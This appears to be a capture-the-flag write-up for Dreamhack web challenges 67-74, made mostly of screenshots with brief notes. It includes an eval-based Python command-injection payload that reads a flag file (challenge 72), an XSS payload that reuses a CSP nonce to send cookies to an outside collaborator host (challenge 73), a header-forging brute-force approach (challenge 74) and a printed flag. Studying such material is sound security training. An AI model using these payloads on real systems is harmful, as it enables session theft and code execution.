![image](https://hackmd.io/_uploads/BykXgBZ2le.png)
#### 67. Find Real One
![image](https://hackmd.io/_uploads/BJ60XHZ2gl.png)
![image](https://hackmd.io/_uploads/S1ByVr-ngg.png)
https://dreamhack-media.s3.amazonaws.com/attachments/4ecde3bf99e2bd81a9777797ded0186461c21492e729a2ba48c571fdf9b767bc.png
#### 68. iwanttoeatcookie
![image](https://hackmd.io/_uploads/SkovTMzhee.png)
![image](https://hackmd.io/_uploads/B1m1yXGnxg.png)
![image](https://hackmd.io/_uploads/SkIR0Gznxg.png)
#### 69. Disgusting Ads
![image](https://hackmd.io/_uploads/HkpiGXMhex.png)
![image](https://hackmd.io/_uploads/rJHTfmGhee.png)
![image](https://hackmd.io/_uploads/rJATM7G2ge.png)
a lot of request to /hb was send
![image](https://hackmd.io/_uploads/SkRIEXf2gl.png)
![image](https://hackmd.io/_uploads/Hk_1EQz3eg.png)
we need to disable javascript 
![image](https://hackmd.io/_uploads/Hk8BE7fnlx.png)
Go to settings and block the use of Java Script.
![image](https://hackmd.io/_uploads/H1CQQXGhgx.png)
![image](https://hackmd.io/_uploads/Hk1cEmf3ee.png)
![image](https://hackmd.io/_uploads/ryJiNXGhee.png)
#### 70. Tartar sauce
![image](https://hackmd.io/_uploads/ByHFHmz2gx.png)
![image](https://hackmd.io/_uploads/HJr2U7z3gx.png)
![image](https://hackmd.io/_uploads/rybf67M2ex.png)
![image](https://hackmd.io/_uploads/BkmcRXznlg.png)
save file in /app/flag like the docker file
![image](https://hackmd.io/_uploads/HJR7pXG3ge.png)
![image](https://hackmd.io/_uploads/BJKvAmM2ee.png)
![image](https://hackmd.io/_uploads/S1O86Qz3lg.png)
![image](https://hackmd.io/_uploads/HyLsCXfhxe.png)
![image](https://hackmd.io/_uploads/BJvC0QGhll.png)
#### 71. Copy And Paste
take a screen capture and send to chatgpt to get flag
![image](https://hackmd.io/_uploads/Hy-SnEM2eg.png)
DH{de5d5d08e9818f5336657fef949399f9deef120465f7de60df9eeefe99e9e4d85e886f1999ed0ee9189357ed46fd0e32f072f24fd951483797510e9d33e0df66f8d00257fd3e47fe816d30e4883747d44805fd3e6dff65dddefe2d427e4ede28186e931e41d7f04ef83f05804d88de1ee17fd4ee4ed0eeedd36071889f41fde2071dd4f631d044428fe66d150d411f7962e2eeeee9d8d94f6fef4d3d4ddde85fe06e25fdfdf3e39f03e89d2ee1e475065594879f8103de4d1dd82e442df06750e886fd0471e0599d}
We recommend that you analyze the DejaVuSans.ttf file given in the problem file using FontForge
#### 72. 이발
![image](https://hackmd.io/_uploads/Bk529Yf3ge.png)
![image](https://hackmd.io/_uploads/HJDT5Fzngl.png)
we can upload file txt 
__import__('os').popen('cat ../flag.txt').read()
the flag save in ../flag.txt
eval() can do the code in file txt
login "admin": "adminpass"
![image](https://hackmd.io/_uploads/Sk8tiYMnxe.png)
upload file test.txt
![image](https://hackmd.io/_uploads/S1yjjtz2xl.png)
![image](https://hackmd.io/_uploads/ryXhsKGhlg.png)
#### 73. Safe CSP
![image](https://hackmd.io/_uploads/SJHgeRzneg.png)
![image](https://hackmd.io/_uploads/SJ2fxAGngl.png)
![image](https://hackmd.io/_uploads/Bkg4xRG3xg.png)
login by account user:pass
![image](https://hackmd.io/_uploads/H1S0xAznlx.png)
![image](https://hackmd.io/_uploads/rJeJW0z3ex.png)
check code in real_url, we can change cookie to admin
![image](https://hackmd.io/_uploads/BJx4bRGngg.png)
If you enter test and make a request, the entered value is included in the text parameter and the entered value and the encrypted value are printed below.
![image](https://hackmd.io/_uploads/BJMdb0fnlg.png)
Check /debug router path also attempts to use the cookie as a flag value through the param parameter.
If you look at the source code of the logout section and the source code that adds CSP to the response header section, you can see that the Nonce value continues to appear in the response header and is reused until you log out, so you can get the cookie value using the script tag by reusing the Nonce value.
Since the cookie value is set to the flag value in the /debug path by checking the nonce value below, you can create an XSS payload using the script tag via the param parameter.
![image](https://hackmd.io/_uploads/BkD-zRM3lg.png)
Let craft a request
```
<script+nonce='AAAAAPLLqsY='>document.location='http://ukiyahuywcfl0nvo7efeef4pwg27qxem.oastify.com/c?cookie='%2bdocument.cookie</script>
```
![image](https://hackmd.io/_uploads/HkwYz0z2ll.png)
![image](https://hackmd.io/_uploads/rJP5zCG2ll.png)
#### 74. DreamDocs
![image](https://hackmd.io/_uploads/SyrvY6s2xl.png)
![image](https://hackmd.io/_uploads/SJgOtponlx.png)
![image](https://hackmd.io/_uploads/BJYOYasnxl.png)
![image](https://hackmd.io/_uploads/SkbZ9asnex.png)
![image](https://hackmd.io/_uploads/SJxM9Tiheg.png)
![image](https://hackmd.io/_uploads/rJ979ajneg.png)
when access to internal doc have 2 respone
first can see the doc
![image](https://hackmd.io/_uploads/SJPI9ashee.png)
second respone 404
![image](https://hackmd.io/_uploads/SkwsqTj2eg.png)
flag_doc_id is random (100, 999) 
user_level check via X-User
Just brute force and change X-User to admin
![image](https://hackmd.io/_uploads/Skwk26jhxl.png)
![image](https://hackmd.io/_uploads/SJzln6i3eg.png)
![image](https://hackmd.io/_uploads/HJG-2ao3ll.png)





























































